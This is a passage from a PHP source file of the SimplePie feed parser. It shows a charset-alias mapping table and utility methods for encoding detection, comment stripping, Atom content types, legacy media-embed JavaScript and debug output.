                return 'IBM01142';

            case 'ccsid1143':
            case 'cp1143':
            case 'ebcdicfi278euro':
            case 'ebcdicse278euro':
            case 'ibm1143':
                return 'IBM01143';

            case 'ccsid1144':
            case 'cp1144':
            case 'ebcdicit280euro':
            case 'ibm1144':
                return 'IBM01144';

            case 'ccsid1145':
            case 'cp1145':
            case 'ebcdices284euro':
            case 'ibm1145':
                return 'IBM01145';

            case 'ccsid1146':
            case 'cp1146':
            case 'ebcdicgb285euro':
            case 'ibm1146':
                return 'IBM01146';

            case 'ccsid1147':
            case 'cp1147':
            case 'ebcdicfr297euro':
            case 'ibm1147':
                return 'IBM01147';

            case 'ccsid1148':
            case 'cp1148':
            case 'ebcdicinternational500euro':
            case 'ibm1148':
                return 'IBM01148';

            case 'ccsid1149':
            case 'cp1149':
            case 'ebcdicis871euro':
            case 'ibm1149':
                return 'IBM01149';

            case 'csiso143iecp271':
            case 'iecp271':
            case 'isoir143':
                return 'IEC_P27-1';

            case 'csiso49inis':
            case 'inis':
            case 'isoir49':
                return 'INIS';

            case 'csiso50inis8':
            case 'inis8':
            case 'isoir50':
                return 'INIS-8';

            case 'csiso51iniscyrillic':
            case 'iniscyrillic':
            case 'isoir51':
                return 'INIS-cyrillic';

            case 'csinvariant':
            case 'invariant':
                return 'INVARIANT';

            case 'iso2022cn':
                return 'ISO-2022-CN';

            case 'iso2022cnext':
                return 'ISO-2022-CN-EXT';

            case 'csiso2022jp':
            case 'iso2022jp':
                return 'ISO-2022-JP';

            case 'csiso2022jp2':
            case 'iso2022jp2':
                return 'ISO-2022-JP-2';

            case 'csiso2022kr':
            case 'iso2022kr':
                return 'ISO-2022-KR';

            case 'cswindows30latin1':
            case 'iso88591windows30latin1':
                return 'ISO-8859-1-Windows-3.0-Latin-1';

            case 'cswindows31latin1':
            case 'iso88591windows31latin1':
                return 'ISO-8859-1-Windows-3.1-Latin-1';

            case 'csisolatin2':
            case 'iso88592':
            case 'iso885921987':
            case 'isoir101':
            case 'l2':
            case 'latin2':
                return 'ISO-8859-2';

            case 'cswindows31latin2':
            case 'iso88592windowslatin2':
                return 'ISO-8859-2-Windows-Latin-2';

            case 'csisolatin3':
            case 'iso88593':
            case 'iso885931988':
            case 'isoir109':
            case 'l3':
            case 'latin3':
                return 'ISO-8859-3';

            case 'csisolatin4':
            case 'iso88594':
            case 'iso885941988':
            case 'isoir110':
            case 'l4':
            case 'latin4':
                return 'ISO-8859-4';

            case 'csisolatincyrillic':
            case 'cyrillic':
            case 'iso88595':
            case 'iso885951988':
            case 'isoir144':
                return 'ISO-8859-5';

            case 'arabic':
            case 'asmo708':
            case 'csisolatinarabic':
            case 'ecma114':
            case 'iso88596':
            case 'iso885961987':
            case 'isoir127':
                return 'ISO-8859-6';

            case 'csiso88596e':
            case 'iso88596e':
                return 'ISO-8859-6-E';

            case 'csiso88596i':
            case 'iso88596i':
                return 'ISO-8859-6-I';

            case 'csisolatingreek':
            case 'ecma118':
            case 'elot928':
            case 'greek':
            case 'greek8':
            case 'iso88597':
            case 'iso885971987':
            case 'isoir126':
                return 'ISO-8859-7';

            case 'csisolatinhebrew':
            case 'hebrew':
            case 'iso88598':
            case 'iso885981988':
            case 'isoir138':
                return 'ISO-8859-8';

            case 'csiso88598e':
            case 'iso88598e':
                return 'ISO-8859-8-E';

            case 'csiso88598i':
            case 'iso88598i':
                return 'ISO-8859-8-I';

            case 'cswindows31latin5':
            case 'iso88599windowslatin5':
                return 'ISO-8859-9-Windows-Latin-5';

            case 'csisolatin6':
            case 'iso885910':
            case 'iso8859101992':
            case 'isoir157':
            case 'l6':
            case 'latin6':
                return 'ISO-8859-10';

            case 'iso885913':
                return 'ISO-8859-13';

            case 'iso885914':
            case 'iso8859141998':
            case 'isoceltic':
            case 'isoir199':
            case 'l8':
            case 'latin8':
                return 'ISO-8859-14';

            case 'iso885915':
            case 'latin9':
                return 'ISO-8859-15';

            case 'iso885916':
            case 'iso8859162001':
            case 'isoir226':
            case 'l10':
            case 'latin10':
                return 'ISO-8859-16';

            case 'iso10646j1':
                return 'ISO-10646-J-1';

            case 'csunicode':
            case 'iso10646ucs2':
                return 'ISO-10646-UCS-2';

            case 'csucs4':
            case 'iso10646ucs4':
                return 'ISO-10646-UCS-4';

            case 'csunicodeascii':
            case 'iso10646ucsbasic':
                return 'ISO-10646-UCS-Basic';

            case 'csunicodelatin1':
            case 'iso10646':
            case 'iso10646unicodelatin1':
                return 'ISO-10646-Unicode-Latin1';

            case 'csiso10646utf1':
            case 'iso10646utf1':
                return 'ISO-10646-UTF-1';

            case 'csiso115481':
            case 'iso115481':
            case 'isotr115481':
                return 'ISO-11548-1';

            case 'csiso90':
            case 'isoir90':
                return 'iso-ir-90';

            case 'csunicodeibm1261':
            case 'isounicodeibm1261':
                return 'ISO-Unicode-IBM-1261';

            case 'csunicodeibm1264':
            case 'isounicodeibm1264':
                return 'ISO-Unicode-IBM-1264';

            case 'csunicodeibm1265':
            case 'isounicodeibm1265':
                return 'ISO-Unicode-IBM-1265';

            case 'csunicodeibm1268':
            case 'isounicodeibm1268':
                return 'ISO-Unicode-IBM-1268';

            case 'csunicodeibm1276':
            case 'isounicodeibm1276':
                return 'ISO-Unicode-IBM-1276';

            case 'csiso646basic1983':
            case 'iso646basic1983':
            case 'ref':
                return 'ISO_646.basic:1983';

            case 'csiso2intlrefversion':
            case 'irv':
            case 'iso646irv1983':
            case 'isoir2':
                return 'ISO_646.irv:1983';

            case 'csiso2033':
            case 'e13b':
            case 'iso20331983':
            case 'isoir98':
                return 'ISO_2033-1983';

            case 'csiso5427cyrillic':
            case 'iso5427':
            case 'isoir37':
                return 'ISO_5427';

            case 'iso5427cyrillic1981':
            case 'iso54271981':
            case 'isoir54':
                return 'ISO_5427:1981';

            case 'csiso5428greek':
            case 'iso54281980':
            case 'isoir55':
                return 'ISO_5428:1980';

            case 'csiso6937add':
            case 'iso6937225':
            case 'isoir152':
                return 'ISO_6937-2-25';

            case 'csisotextcomm':
            case 'iso69372add':
            case 'isoir142':
                return 'ISO_6937-2-add';

            case 'csiso8859supp':
            case 'iso8859supp':
            case 'isoir154':
            case 'latin125':
                return 'ISO_8859-supp';

            case 'csiso10367box':
            case 'iso10367box':
            case 'isoir155':
                return 'ISO_10367-box';

            case 'csiso15italian':
            case 'iso646it':
            case 'isoir15':
            case 'it':
                return 'IT';

            case 'csiso13jisc6220jp':
            case 'isoir13':
            case 'jisc62201969':
            case 'jisc62201969jp':
            case 'katakana':
            case 'x2017':
                return 'JIS_C6220-1969-jp';

            case 'csiso14jisc6220ro':
            case 'iso646jp':
            case 'isoir14':
            case 'jisc62201969ro':
            case 'jp':
                return 'JIS_C6220-1969-ro';

            case 'csiso42jisc62261978':
            case 'isoir42':
            case 'jisc62261978':
                return 'JIS_C6226-1978';

            case 'csiso87jisx208':
            case 'isoir87':
            case 'jisc62261983':
            case 'jisx2081983':
            case 'x208':
                return 'JIS_C6226-1983';

            case 'csiso91jisc62291984a':
            case 'isoir91':
            case 'jisc62291984a':
            case 'jpocra':
                return 'JIS_C6229-1984-a';

            case 'csiso92jisc62991984b':
            case 'iso646jpocrb':
            case 'isoir92':
            case 'jisc62291984b':
            case 'jpocrb':
                return 'JIS_C6229-1984-b';

            case 'csiso93jis62291984badd':
            case 'isoir93':
            case 'jisc62291984badd':
            case 'jpocrbadd':
                return 'JIS_C6229-1984-b-add';

            case 'csiso94jis62291984hand':
            case 'isoir94':
            case 'jisc62291984hand':
            case 'jpocrhand':
                return 'JIS_C6229-1984-hand';

            case 'csiso95jis62291984handadd':
            case 'isoir95':
            case 'jisc62291984handadd':
            case 'jpocrhandadd':
                return 'JIS_C6229-1984-hand-add';

            case 'csiso96jisc62291984kana':
            case 'isoir96':
            case 'jisc62291984kana':
                return 'JIS_C6229-1984-kana';

            case 'csjisencoding':
            case 'jisencoding':
                return 'JIS_Encoding';

            case 'cshalfwidthkatakana':
            case 'jisx201':
            case 'x201':
                return 'JIS_X0201';

            case 'csiso159jisx2121990':
            case 'isoir159':
            case 'jisx2121990':
            case 'x212':
                return 'JIS_X0212-1990';

            case 'csiso141jusib1002':
            case 'iso646yu':
            case 'isoir141':
            case 'js':
            case 'jusib1002':
            case 'yu':
                return 'JUS_I.B1.002';

            case 'csiso147macedonian':
            case 'isoir147':
            case 'jusib1003mac':
            case 'macedonian':
                return 'JUS_I.B1.003-mac';

            case 'csiso146serbian':
            case 'isoir146':
            case 'jusib1003serb':
            case 'serbian':
                return 'JUS_I.B1.003-serb';

            case 'koi7switched':
                return 'KOI7-switched';

            case 'cskoi8r':
            case 'koi8r':
                return 'KOI8-R';

            case 'koi8u':
                return 'KOI8-U';

            case 'csksc5636':
            case 'iso646kr':
            case 'ksc5636':
                return 'KSC5636';

            case 'cskz1048':
            case 'kz1048':
            case 'rk1048':
            case 'strk10482002':
                return 'KZ-1048';

            case 'csiso19latingreek':
            case 'isoir19':
            case 'latingreek':
                return 'latin-greek';

            case 'csiso27latingreek1':
            case 'isoir27':
            case 'latingreek1':
                return 'Latin-greek-1';

            case 'csiso158lap':
            case 'isoir158':
            case 'lap':
            case 'latinlap':
                return 'latin-lap';

            case 'csmacintosh':
            case 'mac':
            case 'macintosh':
                return 'macintosh';

            case 'csmicrosoftpublishing':
            case 'microsoftpublishing':
                return 'Microsoft-Publishing';

            case 'csmnem':
            case 'mnem':
                return 'MNEM';

            case 'csmnemonic':
            case 'mnemonic':
                return 'MNEMONIC';

            case 'csiso86hungarian':
            case 'hu':
            case 'iso646hu':
            case 'isoir86':
            case 'msz77953':
                return 'MSZ_7795.3';

            case 'csnatsdano':
            case 'isoir91':
            case 'natsdano':
                return 'NATS-DANO';

            case 'csnatsdanoadd':
            case 'isoir92':
            case 'natsdanoadd':
                return 'NATS-DANO-ADD';

            case 'csnatssefi':
            case 'isoir81':
            case 'natssefi':
                return 'NATS-SEFI';

            case 'csnatssefiadd':
            case 'isoir82':
            case 'natssefiadd':
                return 'NATS-SEFI-ADD';

            case 'csiso151cuba':
            case 'cuba':
            case 'iso646cu':
            case 'isoir151':
            case 'ncnc1081':
                return 'NC_NC00-10:81';

            case 'csiso69french':
            case 'fr':
            case 'iso646fr':
            case 'isoir69':
            case 'nfz62010':
                return 'NF_Z_62-010';

            case 'csiso25french':
            case 'iso646fr1':
            case 'isoir25':
            case 'nfz620101973':
                return 'NF_Z_62-010_(1973)';

            case 'csiso60danishnorwegian':
            case 'csiso60norwegian1':
            case 'iso646no':
            case 'isoir60':
            case 'no':
            case 'ns45511':
                return 'NS_4551-1';

            case 'csiso61norwegian2':
            case 'iso646no2':
            case 'isoir61':
            case 'no2':
            case 'ns45512':
                return 'NS_4551-2';

            case 'osdebcdicdf3irv':
                return 'OSD_EBCDIC_DF03_IRV';

            case 'osdebcdicdf41':
                return 'OSD_EBCDIC_DF04_1';

            case 'osdebcdicdf415':
                return 'OSD_EBCDIC_DF04_15';

            case 'cspc8danishnorwegian':
            case 'pc8danishnorwegian':
                return 'PC8-Danish-Norwegian';

            case 'cspc8turkish':
            case 'pc8turkish':
                return 'PC8-Turkish';

            case 'csiso16portuguese':
            case 'iso646pt':
            case 'isoir16':
            case 'pt':
                return 'PT';

            case 'csiso84portuguese2':
            case 'iso646pt2':
            case 'isoir84':
            case 'pt2':
                return 'PT2';

            case 'cp154':
            case 'csptcp154':
            case 'cyrillicasian':
            case 'pt154':
            case 'ptcp154':
                return 'PTCP154';

            case 'scsu':
                return 'SCSU';

            case 'csiso10swedish':
            case 'fi':
            case 'iso646fi':
            case 'iso646se':
            case 'isoir10':
            case 'se':
            case 'sen850200b':
                return 'SEN_850200_B';

            case 'csiso11swedishfornames':
            case 'iso646se2':
            case 'isoir11':
            case 'se2':
            case 'sen850200c':
                return 'SEN_850200_C';

            case 'csiso102t617bit':
            case 'isoir102':
            case 't617bit':
                return 'T.61-7bit';

            case 'csiso103t618bit':
            case 'isoir103':
            case 't61':
            case 't618bit':
                return 'T.61-8bit';

            case 'csiso128t101g2':
            case 'isoir128':
            case 't101g2':
                return 'T.101-G2';

            case 'cstscii':
            case 'tscii':
                return 'TSCII';

            case 'csunicode11':
            case 'unicode11':
                return 'UNICODE-1-1';

            case 'csunicode11utf7':
            case 'unicode11utf7':
                return 'UNICODE-1-1-UTF-7';

            case 'csunknown8bit':
            case 'unknown8bit':
                return 'UNKNOWN-8BIT';

            case 'ansix341968':
            case 'ansix341986':
            case 'ascii':
            case 'cp367':
            case 'csascii':
            case 'ibm367':
            case 'iso646irv1991':
            case 'iso646us':
            case 'isoir6':
            case 'us':
            case 'usascii':
                return 'US-ASCII';

            case 'csusdk':
            case 'usdk':
                return 'us-dk';

            case 'utf7':
                return 'UTF-7';

            case 'utf8':
                return 'UTF-8';

            case 'utf16':
                return 'UTF-16';

            case 'utf16be':
                return 'UTF-16BE';

            case 'utf16le':
                return 'UTF-16LE';

            case 'utf32':
                return 'UTF-32';

            case 'utf32be':
                return 'UTF-32BE';

            case 'utf32le':
                return 'UTF-32LE';

            case 'csventurainternational':
            case 'venturainternational':
                return 'Ventura-International';

            case 'csventuramath':
            case 'venturamath':
                return 'Ventura-Math';

            case 'csventuraus':
            case 'venturaus':
                return 'Ventura-US';

            case 'csiso70videotexsupp1':
            case 'isoir70':
            case 'videotexsuppl':
                return 'videotex-suppl';

            case 'csviqr':
            case 'viqr':
                return 'VIQR';

            case 'csviscii':
            case 'viscii':
                return 'VISCII';

            case 'csshiftjis':
            case 'cswindows31j':
            case 'mskanji':
            case 'shiftjis':
            case 'windows31j':
                return 'Windows-31J';

            case 'iso885911':
            case 'tis620':
                return 'windows-874';

            case 'cseuckr':
            case 'csksc56011987':
            case 'euckr':
            case 'isoir149':
            case 'korean':
            case 'ksc5601':
            case 'ksc56011987':
            case 'ksc56011989':
            case 'windows949':
                return 'windows-949';

            case 'windows1250':
                return 'windows-1250';

            case 'windows1251':
                return 'windows-1251';

            case 'cp819':
            case 'csisolatin1':
            case 'ibm819':
            case 'iso88591':
            case 'iso885911987':
            case 'isoir100':
            case 'l1':
            case 'latin1':
            case 'windows1252':
                return 'windows-1252';

            case 'windows1253':
                return 'windows-1253';

            case 'csisolatin5':
            case 'iso88599':
            case 'iso885991989':
            case 'isoir148':
            case 'l5':
            case 'latin5':
            case 'windows1254':
                return 'windows-1254';

            case 'windows1255':
                return 'windows-1255';

            case 'windows1256':
                return 'windows-1256';

            case 'windows1257':
                return 'windows-1257';

            case 'windows1258':
                return 'windows-1258';

            default:
                return $charset;
        }
    }

    /**
     * @return string
     */
    public static function get_curl_version()
    {
        if (is_array($curl = curl_version())) {
            $curl = $curl['version'];
        } else {
            $curl = '0';
        }
        return $curl;
    }

    /**
     * Strip HTML comments
     *
     * @deprecated since SimplePie 1.9.0. If you need it, you can copy the function to your codebase. But you should consider using `DOMDocument` for any DOM wrangling.
     * @param string $data Data to strip comments from
     * @return string Comment stripped string
     */
    public static function strip_comments(string $data)
    {
        // trigger_error(sprintf('Using method "' . __METHOD__ . '" is deprecated since SimplePie 1.9.'), \E_USER_DEPRECATED);

        $output = '';
        while (($start = strpos($data, '<!--')) !== false) {
            $output .= substr($data, 0, $start);
            if (($end = strpos($data, '-->', $start)) !== false) {
                $data = substr_replace($data, '', 0, $end + 3);
            } else {
                $data = '';
            }
        }
        return $output . $data;
    }

    /**
     * @return int|false
     */
    public static function parse_date(string $dt)
    {
        $parser = \SimplePie\Parse\Date::get();
        return $parser->parse($dt);
    }

    /**
     * Decode HTML entities
     *
     * @deprecated since SimplePie 1.3, use DOMDocument instead
     * @param string $data Input data
     * @return string Output data
     */
    public static function entities_decode(string $data)
    {
        // trigger_error(sprintf('Using method "' . __METHOD__ . '" is deprecated since SimplePie 1.3, use "DOMDocument" instead.'), \E_USER_DEPRECATED);

        $decoder = new \SimplePie_Decode_HTML_Entities($data);
        return $decoder->parse();
    }

    /**
     * Remove RFC822 comments
     *
     * @deprecated since SimplePie 1.9.0. If you need it, consider copying the function to your codebase.
     * @param string $string Data to strip comments from
     * @return string Comment stripped string
     */
    public static function uncomment_rfc822(string $string)
    {
        // trigger_error(sprintf('Using method "' . __METHOD__ . '" is deprecated since SimplePie 1.9.'), \E_USER_DEPRECATED);

        $position = 0;
        $length = strlen($string);
        $depth = 0;

        $output = '';

        while ($position < $length && ($pos = strpos($string, '(', $position)) !== false) {
            $output .= substr($string, $position, $pos - $position);
            $position = $pos + 1;
            if ($string[$pos - 1] !== '\\') {
                $depth++;
                while ($depth && $position < $length) {
                    $position += strcspn($string, '()', $position);
                    if ($string[$position - 1] === '\\') {
                        $position++;
                        continue;
                    } elseif (isset($string[$position])) {
                        switch ($string[$position]) {
                            case '(':
                                $depth++;
                                break;

                            case ')':
                                $depth--;
                                break;
                        }
                        $position++;
                    } else {
                        break;
                    }
                }
            } else {
                $output .= '(';
            }
        }
        $output .= substr($string, $position);

        return $output;
    }

    /**
     * @return string
     */
    public static function parse_mime(string $mime)
    {
        if (($pos = strpos($mime, ';')) === false) {
            return trim($mime);
        }

        return trim(substr($mime, 0, $pos));
    }

    /**
     * @param array<string, array<string, string>> $attribs
     * @return int-mask-of<SimplePie::CONSTRUCT_*>
     */
    public static function atom_03_construct_type(array $attribs)
    {
        if (isset($attribs['']['mode']) && strtolower(trim($attribs['']['mode'])) === 'base64') {
            $mode = \SimplePie\SimplePie::CONSTRUCT_BASE64;
        } else {
            $mode = \SimplePie\SimplePie::CONSTRUCT_NONE;
        }
        if (isset($attribs['']['type'])) {
            switch (strtolower(trim($attribs['']['type']))) {
                case 'text':
                case 'text/plain':
                    return \SimplePie\SimplePie::CONSTRUCT_TEXT | $mode;

                case 'html':
                case 'text/html':
                    return \SimplePie\SimplePie::CONSTRUCT_HTML | $mode;

                case 'xhtml':
                case 'application/xhtml+xml':
                    return \SimplePie\SimplePie::CONSTRUCT_XHTML | $mode;

                default:
                    return \SimplePie\SimplePie::CONSTRUCT_NONE | $mode;
            }
        }

        return \SimplePie\SimplePie::CONSTRUCT_TEXT | $mode;
    }

    /**
     * @param array<string, array<string, string>> $attribs
     * @return int-mask-of<SimplePie::CONSTRUCT_*>
     */
    public static function atom_10_construct_type(array $attribs)
    {
        if (isset($attribs['']['type'])) {
            switch (strtolower(trim($attribs['']['type']))) {
                case 'text':
                    return \SimplePie\SimplePie::CONSTRUCT_TEXT;

                case 'html':
                    return \SimplePie\SimplePie::CONSTRUCT_HTML;

                case 'xhtml':
                    return \SimplePie\SimplePie::CONSTRUCT_XHTML;

                default:
                    return \SimplePie\SimplePie::CONSTRUCT_NONE;
            }
        }
        return \SimplePie\SimplePie::CONSTRUCT_TEXT;
    }

    /**
     * @param array<string, array<string, string>> $attribs
     * @return int-mask-of<SimplePie::CONSTRUCT_*>
     */
    public static function atom_10_content_construct_type(array $attribs)
    {
        if (isset($attribs['']['type'])) {
            $type = strtolower(trim($attribs['']['type']));
            switch ($type) {
                case 'text':
                    return \SimplePie\SimplePie::CONSTRUCT_TEXT;

                case 'html':
                    return \SimplePie\SimplePie::CONSTRUCT_HTML;

                case 'xhtml':
                    return \SimplePie\SimplePie::CONSTRUCT_XHTML;
            }
            if (in_array(substr($type, -4), ['+xml', '/xml']) || substr($type, 0, 5) === 'text/') {
                return \SimplePie\SimplePie::CONSTRUCT_NONE;
            } else {
                return \SimplePie\SimplePie::CONSTRUCT_BASE64;
            }
        }

        return \SimplePie\SimplePie::CONSTRUCT_TEXT;
    }

    /**
     * @return bool
     */
    public static function is_isegment_nz_nc(string $string)
    {
        return (bool) preg_match('/^([A-Za-z0-9\-._~\x{A0}-\x{D7FF}\x{F900}-\x{FDCF}\x{FDF0}-\x{FFEF}\x{10000}-\x{1FFFD}\x{20000}-\x{2FFFD}\x{30000}-\x{3FFFD}\x{40000}-\x{4FFFD}\x{50000}-\x{5FFFD}\x{60000}-\x{6FFFD}\x{70000}-\x{7FFFD}\x{80000}-\x{8FFFD}\x{90000}-\x{9FFFD}\x{A0000}-\x{AFFFD}\x{B0000}-\x{BFFFD}\x{C0000}-\x{CFFFD}\x{D0000}-\x{DFFFD}\x{E1000}-\x{EFFFD}!$&\'()*+,;=@]|(%[0-9ABCDEF]{2}))+$/u', $string);
    }

    /**
     * @return string[]
     */
    public static function space_separated_tokens(string $string)
    {
        $space_characters = "\x20\x09\x0A\x0B\x0C\x0D";
        $string_length = strlen($string);

        $position = strspn($string, $space_characters);
        $tokens = [];

        while ($position < $string_length) {
            $len = strcspn($string, $space_characters, $position);
            $tokens[] = substr($string, $position, $len);
            $position += $len;
            $position += strspn($string, $space_characters, $position);
        }

        return $tokens;
    }

    /**
     * Converts a unicode codepoint to a UTF-8 character
     *
     * @static
     * @param int $codepoint Unicode codepoint
     * @return string|false UTF-8 character
     */
    public static function codepoint_to_utf8(int $codepoint)
    {
        if ($codepoint < 0) {
            return false;
        } elseif ($codepoint <= 0x7f) {
            return chr($codepoint);
        } elseif ($codepoint <= 0x7ff) {
            return chr(0xc0 | ($codepoint >> 6)) . chr(0x80 | ($codepoint & 0x3f));
        } elseif ($codepoint <= 0xffff) {
            return chr(0xe0 | ($codepoint >> 12)) . chr(0x80 | (($codepoint >> 6) & 0x3f)) . chr(0x80 | ($codepoint & 0x3f));
        } elseif ($codepoint <= 0x10ffff) {
            return chr(0xf0 | ($codepoint >> 18)) . chr(0x80 | (($codepoint >> 12) & 0x3f)) . chr(0x80 | (($codepoint >> 6) & 0x3f)) . chr(0x80 | ($codepoint & 0x3f));
        }

        // U+FFFD REPLACEMENT CHARACTER
        return "\xEF\xBF\xBD";
    }

    /**
     * Similar to parse_str()
     *
     * Returns an associative array of name/value pairs, where the value is an
     * array of values that have used the same name
     *
     * @deprecated since SimplePie 1.9.0. If you need it, consider copying the function to your codebase.
     * @static
     * @param string $str The input string.
     * @return array<string, array<string|null>>
     */
    public static function parse_str(string $str)
    {
        // trigger_error(sprintf('Using method "' . __METHOD__ . '" is deprecated since SimplePie 1.9.'), \E_USER_DEPRECATED);

        $return = [];
        $str = explode('&', $str);

        foreach ($str as $section) {
            if (strpos($section, '=') !== false) {
                [$name, $value] = explode('=', $section, 2);
                $return[urldecode($name)][] = urldecode($value);
            } else {
                $return[urldecode($section)][] = null;
            }
        }

        return $return;
    }

    /**
     * Detect XML encoding, as per XML 1.0 Appendix F.1
     *
     * @todo Add support for EBCDIC
     * @param string $data XML data
     * @param \SimplePie\Registry $registry Class registry
     * @return array<string> Possible encodings
     */
    public static function xml_encoding(string $data, \SimplePie\Registry $registry)
    {
        // UTF-32 Big Endian BOM
        if (substr($data, 0, 4) === "\x00\x00\xFE\xFF") {
            $encoding[] = 'UTF-32BE';
        }
        // UTF-32 Little Endian BOM
        elseif (substr($data, 0, 4) === "\xFF\xFE\x00\x00") {
            $encoding[] = 'UTF-32LE';
        }
        // UTF-16 Big Endian BOM
        elseif (substr($data, 0, 2) === "\xFE\xFF") {
            $encoding[] = 'UTF-16BE';
        }
        // UTF-16 Little Endian BOM
        elseif (substr($data, 0, 2) === "\xFF\xFE") {
            $encoding[] = 'UTF-16LE';
        }
        // UTF-8 BOM
        elseif (substr($data, 0, 3) === "\xEF\xBB\xBF") {
            $encoding[] = 'UTF-8';
        }
        // UTF-32 Big Endian Without BOM
        elseif (substr($data, 0, 20) === "\x00\x00\x00\x3C\x00\x00\x00\x3F\x00\x00\x00\x78\x00\x00\x00\x6D\x00\x00\x00\x6C") {
            if ($pos = strpos($data, "\x00\x00\x00\x3F\x00\x00\x00\x3E")) {
                $parser = $registry->create(Parser::class, [Misc::change_encoding(substr($data, 20, $pos - 20), 'UTF-32BE', 'UTF-8')]);
                if ($parser->parse()) {
                    $encoding[] = $parser->encoding;
                }
            }
            $encoding[] = 'UTF-32BE';
        }
        // UTF-32 Little Endian Without BOM
        elseif (substr($data, 0, 20) === "\x3C\x00\x00\x00\x3F\x00\x00\x00\x78\x00\x00\x00\x6D\x00\x00\x00\x6C\x00\x00\x00") {
            if ($pos = strpos($data, "\x3F\x00\x00\x00\x3E\x00\x00\x00")) {
                $parser = $registry->create(Parser::class, [Misc::change_encoding(substr($data, 20, $pos - 20), 'UTF-32LE', 'UTF-8')]);
                if ($parser->parse()) {
                    $encoding[] = $parser->encoding;
                }
            }
            $encoding[] = 'UTF-32LE';
        }
        // UTF-16 Big Endian Without BOM
        elseif (substr($data, 0, 10) === "\x00\x3C\x00\x3F\x00\x78\x00\x6D\x00\x6C") {
            if ($pos = strpos($data, "\x00\x3F\x00\x3E")) {
                $parser = $registry->create(Parser::class, [Misc::change_encoding(substr($data, 20, $pos - 10), 'UTF-16BE', 'UTF-8')]);
                if ($parser->parse()) {
                    $encoding[] = $parser->encoding;
                }
            }
            $encoding[] = 'UTF-16BE';
        }
        // UTF-16 Little Endian Without BOM
        elseif (substr($data, 0, 10) === "\x3C\x00\x3F\x00\x78\x00\x6D\x00\x6C\x00") {
            if ($pos = strpos($data, "\x3F\x00\x3E\x00")) {
                $parser = $registry->create(Parser::class, [Misc::change_encoding(substr($data, 20, $pos - 10), 'UTF-16LE', 'UTF-8')]);
                if ($parser->parse()) {
                    $encoding[] = $parser->encoding;
                }
            }
            $encoding[] = 'UTF-16LE';
        }
        // US-ASCII (or superset)
        elseif (substr($data, 0, 5) === "\x3C\x3F\x78\x6D\x6C") {
            if ($pos = strpos($data, "\x3F\x3E")) {
                $parser = $registry->create(Parser::class, [substr($data, 5, $pos - 5)]);
                if ($parser->parse()) {
                    $encoding[] = $parser->encoding;
                }
            }
            $encoding[] = 'UTF-8';
        }
        // Fallback to UTF-8
        else {
            $encoding[] = 'UTF-8';
        }
        return $encoding;
    }

    /**
     * @return void
     */
    public static function output_javascript()
    {
        if (function_exists('ob_gzhandler')) {
            ob_start('ob_gzhandler');
        }
        header('Content-type: text/javascript; charset: UTF-8');
        header('Cache-Control: must-revalidate');
        header('Expires: ' . gmdate('D, d M Y H:i:s', time() + 604800) . ' GMT'); // 7 days

        $body = <<<JS
function embed_quicktime(type, bgcolor, width, height, link, placeholder, loop) {
	if (placeholder != '') {
		document.writeln('<embed type="'+type+'" style="cursor:hand; cursor:pointer;" href="'+link+'" src="'+placeholder+'" width="'+width+'" height="'+height+'" autoplay="false" target="myself" controller="false" loop="'+loop+'" scale="aspect" bgcolor="'+bgcolor+'" pluginspage="http://www.apple.com/quicktime/download/"></embed>');
	}
	else {
		document.writeln('<embed type="'+type+'" style="cursor:hand; cursor:pointer;" src="'+link+'" width="'+width+'" height="'+height+'" autoplay="false" target="myself" controller="true" loop="'+loop+'" scale="aspect" bgcolor="'+bgcolor+'" pluginspage="http://www.apple.com/quicktime/download/"></embed>');
	}
}

function embed_flash(bgcolor, width, height, link, loop, type) {
	document.writeln('<embed src="'+link+'" pluginspage="http://www.macromedia.com/go/getflashplayer" type="'+type+'" quality="high" width="'+width+'" height="'+height+'" bgcolor="'+bgcolor+'" loop="'+loop+'"></embed>');
}

function embed_flv(width, height, link, placeholder, loop, player) {
	document.writeln('<embed src="'+player+'" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" quality="high" width="'+width+'" height="'+height+'" wmode="transparent" flashvars="file='+link+'&autostart=false&repeat='+loop+'&showdigits=true&showfsbutton=false"></embed>');
}

function embed_wmedia(width, height, link) {
	document.writeln('<embed type="application/x-mplayer2" src="'+link+'" autosize="1" width="'+width+'" height="'+height+'" showcontrols="1" showstatusbar="0" showdisplay="0" autostart="0"></embed>');
}
JS;
        echo $body;
    }

    /**
     * Get the SimplePie build timestamp
     *
     * Uses the git index if it exists, otherwise uses the modification time
     * of the newest file.
     *
     * @return int
     */
    public static function get_build()
    {
        if (self::$SIMPLEPIE_BUILD !== null) {
            return self::$SIMPLEPIE_BUILD;
        }

        $root = dirname(__FILE__, 2);
        if (file_exists($root . '/.git/index')) {
            self::$SIMPLEPIE_BUILD = (int) filemtime($root . '/.git/index');

            return self::$SIMPLEPIE_BUILD;
        } elseif (file_exists($root . '/src')) {
            $time = 0;
            foreach (glob($root . '/src/*.php') ?: [] as $file) {
                if (($mtime = filemtime($file)) > $time) {
                    $time = $mtime;
                }
            }

            self::$SIMPLEPIE_BUILD = $time;

            return self::$SIMPLEPIE_BUILD;
        }

        self::$SIMPLEPIE_BUILD = (int) filemtime(__FILE__);

        return self::$SIMPLEPIE_BUILD;
    }

    /**
     * Get the default user agent string
     *
     * @return string
     */
    public static function get_default_useragent()
    {
        return \SimplePie\SimplePie::NAME . '/' . \SimplePie\SimplePie::VERSION . ' (Feed Parser; ' . \SimplePie\SimplePie::URL . '; Allow like Gecko) Build/' . static::get_build();
    }

    /**
     * Format debugging information
     *
     * @return string
     */
    public static function debug(SimplePie &$sp)
    {
        $info = 'SimplePie ' . \SimplePie\SimplePie::VERSION . ' Build ' . static::get_build() . "\n";
        $info .= 'PHP ' . PHP_VERSION . "\n";
        if ($sp->error() !== null) {
            // TODO: Remove cast with multifeeds.
            $info .= 'Error occurred: ' . implode(', ', (array) $sp->error()) . "\n";
        } else {
            $info .= "No error found.\n";
        }
        $info .= "Extensions:\n";
        $extensions = ['pcre', 'curl', 'zlib', 'mbstring', 'iconv', 'xmlreader', 'xml'];
        foreach ($extensions as $ext) {
            if (extension_loaded($ext)) {
                $info .= "    $ext loaded\n";
                switch ($ext) {
                    case 'pcre':
                        $info .= '      Version ' . PCRE_VERSION . "\n";
                        break;
                    case 'curl':
                        $version = (array) curl_version();
                        $info .= '      Version ' . $version['version'] . "\n";
                        break;
                    case 'iconv':
                        $info .= '      Version ' . ICONV_VERSION . "\n";
                        break;
                    case 'xml':
                        $info .= '      Version ' . LIBXML_DOTTED_VERSION . "\n";
                        break;
                }
            } else {
                $info .= "    $ext not loaded\n";
            }
        }
        return $info;
    }

    /**
     * @return bool
     */
